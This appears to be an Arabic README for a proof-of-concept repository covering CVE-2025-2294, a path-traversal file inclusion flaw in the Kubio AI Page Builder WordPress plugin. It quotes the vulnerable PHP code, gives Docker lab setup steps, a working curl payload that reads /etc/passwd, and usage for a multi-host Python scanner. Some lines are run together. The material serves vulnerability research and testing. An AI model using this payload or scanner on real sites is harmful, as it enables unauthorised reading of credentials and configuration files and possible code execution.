
إثبات مفهوم لاستغلال CVE-2025-2294، وهي ثغرة LFI حرجة في أداة بناء الصفحات Kubio AI Page Builder لووردبريس. يتضمن ماسحًا بلغة بايثون، قالب nuclei، ومختبر Docker للاختبار.
CVE-2025-2294 — ثغرة أمنية خطيرة من نوع Local File Inclusion (LFI) في إضافة Kubio AI Page Builder لووردبريس. تسمح الثغرة لمهاجم عن بُعد غير مصادق بتمرير معامل مخصص، مما يؤدي إلى تضمين ملف عشوائي على الخادم عبر الإضافة؛ إذا كان الملف المضمن هو PHP، فقد يؤدي ذلك إلى تنفيذ كود عن بُعد (RCE).
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — تقييد غير صحيح لاسم المسار إلى دليل مقيد (اجتياز المسار).
__kubio-site-edit-iframe-classic-template.wp-config.php، مفاتيح خاصة، سجلات).الكود الضعيف مرتبط بالدالة kubio_hybrid_theme_load_template()، التي تصل إلى المصفوفة العامة $_REQUEST:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
ما يفعله الكود:
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — يأخذ القيمة مباشرة من مجموعة المدخلات العامة ($_REQUEST تدمج $_GET و $_POST و $_COOKIE). وهذا يعني أن المعامل يمكن التحكم به عن بُعد.$template_id صحيح)، يستدعي الكود locate_template([$template_id]).locate_template() — أداة WordPress (أو ما يعادلها في الإضافة) للبحث عن القوالب بناءً على المسار/الاسم النسبي المُرسَل. في السيناريو الطبيعي، كان من المتوقع أن تُمرر أسماء ملفات داخل دليل قوالب آمن، مثل header.php أو template-parts/content.php.$new_template) — في التنفيذ الأصلي، قد يؤدي ذلك إلى تضمين/استدعاء المسار الذي تم العثور عليه، أو تمرير هذا المسار لعرضه. وهذا يخلق إمكانية LFI: يمكن للمهاجم تحديد مسار إلى ملف عشوائي.git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
للتشغيل بعد فك الضغط، انتقل إلى http://localhost:8080/wp-admin/plugins.php وقم بتفعيل الإضافة
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
يقوم هذا المعامل بتمرير سلسلة نصية تستخدمها الإضافة كمعرف/مسار للقالب.
في المقطع الضعيف من الكود، تؤخذ القيمة من $_REQUEST وتُمرر إلى locate_template() بدون تطبيع أو تقييد مسبق. ونتيجة لذلك، يصبح اجتياز المسار (path traversal) ممكنًا: إذا تم إدراج تسلسلات ../ في القيمة، فقد يتجاوز المسار الناتج دليل القوالب المتوقع ويشير إلى أي ملف في نظام الملفات (بما في ذلك /etc/passwd).
هذا المعامل بالتحديد يحمل العبء الضار للهجوم — فبواسطته يحدد المهاجم الملف المستهدف.
__kubio-site-edit-iframe-preview=1
هذا علامة خدمية (وضع المعاينة / وضع تحرير iframe). تقوم بتحويل معالجة الطلب إلى الفرع البرمجي الذي يتم فيه قراءة واستخدام القالب المحدد في __kubio-site-edit-iframe-classic-template.
بدون preview=1 قد لا تعالج الإضافة المعامل classic-template أو تستخدم منطقًا آخر؛ مع preview=1 يتم تفعيل المنطق الذي يسمح بقراءة وإرجاع القالب، مما يجعل الاستغلال ممكنًا.
/wp-content/plugins/kubio/readme.txt.

يقوم السكربت بفحص مخرجات /etc/passwd ولكنه أسرع بعدة مرات من nuclei بفضل تعدد الخيوط، كما يدعم مسح عدة مضيفين في وقت واحد.
python3 scan.py --target http://localhost:8080
